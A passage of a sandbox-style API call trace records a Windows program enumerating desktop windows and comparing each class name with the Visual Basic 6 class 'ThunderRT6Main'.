hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0115.772] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0115.772] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0115.772] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0115.772] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0115.772] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.772] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0115.772] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0115.772] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0115.772] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0115.772] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0115.772] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.772] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0115.772] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0115.772] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0115.772] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0115.772] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0115.772] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.773] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0115.773] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0115.773] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0115.773] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0115.773] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0115.773] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.773] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0115.773] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0115.773] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0115.773] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0115.773] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0115.773] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.773] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0115.773] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0115.773] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0115.773] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0115.773] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0115.773] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.773] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0115.773] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0115.773] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0115.773] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0115.773] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0115.773] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.773] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0115.773] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0115.773] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0115.773] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0115.773] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0115.773] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.773] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.773] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0115.773] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0115.773] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0115.774] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0115.774] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0115.774] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.774] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0115.774] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0115.774] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0115.774] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0115.774] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0115.774] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.774] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0115.774] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0115.774] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0115.774] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0115.774] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0115.774] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.774] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0115.774] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0115.774] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0115.774] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0115.774] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0115.774] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.774] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0115.774] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0115.774] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0115.774] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0115.774] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0115.774] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.774] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0115.774] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0115.774] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0115.774] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0115.774] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0115.774] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0115.774] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.775] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0115.775] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0115.775] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0115.775] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0115.775] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0115.775] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0115.775] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0115.775] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0115.775] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0115.775] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0115.775] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0115.775] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0115.775] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0115.775] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0115.775] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0115.775] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0115.775] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0115.775] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.775] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0115.775] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0115.775] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0115.775] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0115.775] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0115.775] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.775] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0115.775] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0115.775] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0115.775] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0115.775] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0115.775] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.775] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0115.775] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0115.775] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.775] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.775] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0115.776] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0115.776] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.776] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0115.776] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0115.776] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0115.776] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0115.776] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0115.776] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.776] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0115.776] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0115.776] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.776] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0115.776] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0115.776] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.776] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.776] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0115.776] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0115.776] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.776] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0115.776] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0115.776] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.776] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0115.776] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.776] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.776] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0115.776] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.776] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.776] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0115.776] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.776] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.776] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0115.776] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0115.776] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0115.776] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.777] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0115.777] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0115.777] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.777] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0115.777] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.777] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0115.777] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0115.777] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.777] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.777] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0115.777] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.777] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.777] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0115.777] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.777] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.777] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0115.777] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0115.777] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.777] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0115.777] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0115.777] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0115.777] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0115.777] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.777] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0115.777] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0115.777] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0115.777] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0115.777] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0115.777] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.777] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0115.777] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0115.777] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0115.777] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0115.777] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.778] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0115.778] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0115.778] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0115.778] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0115.778] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0115.778] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0115.778] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0115.778] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.778] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0115.778] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0115.778] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0115.778] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0115.778] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0115.778] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0115.778] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0115.778] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0115.778] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 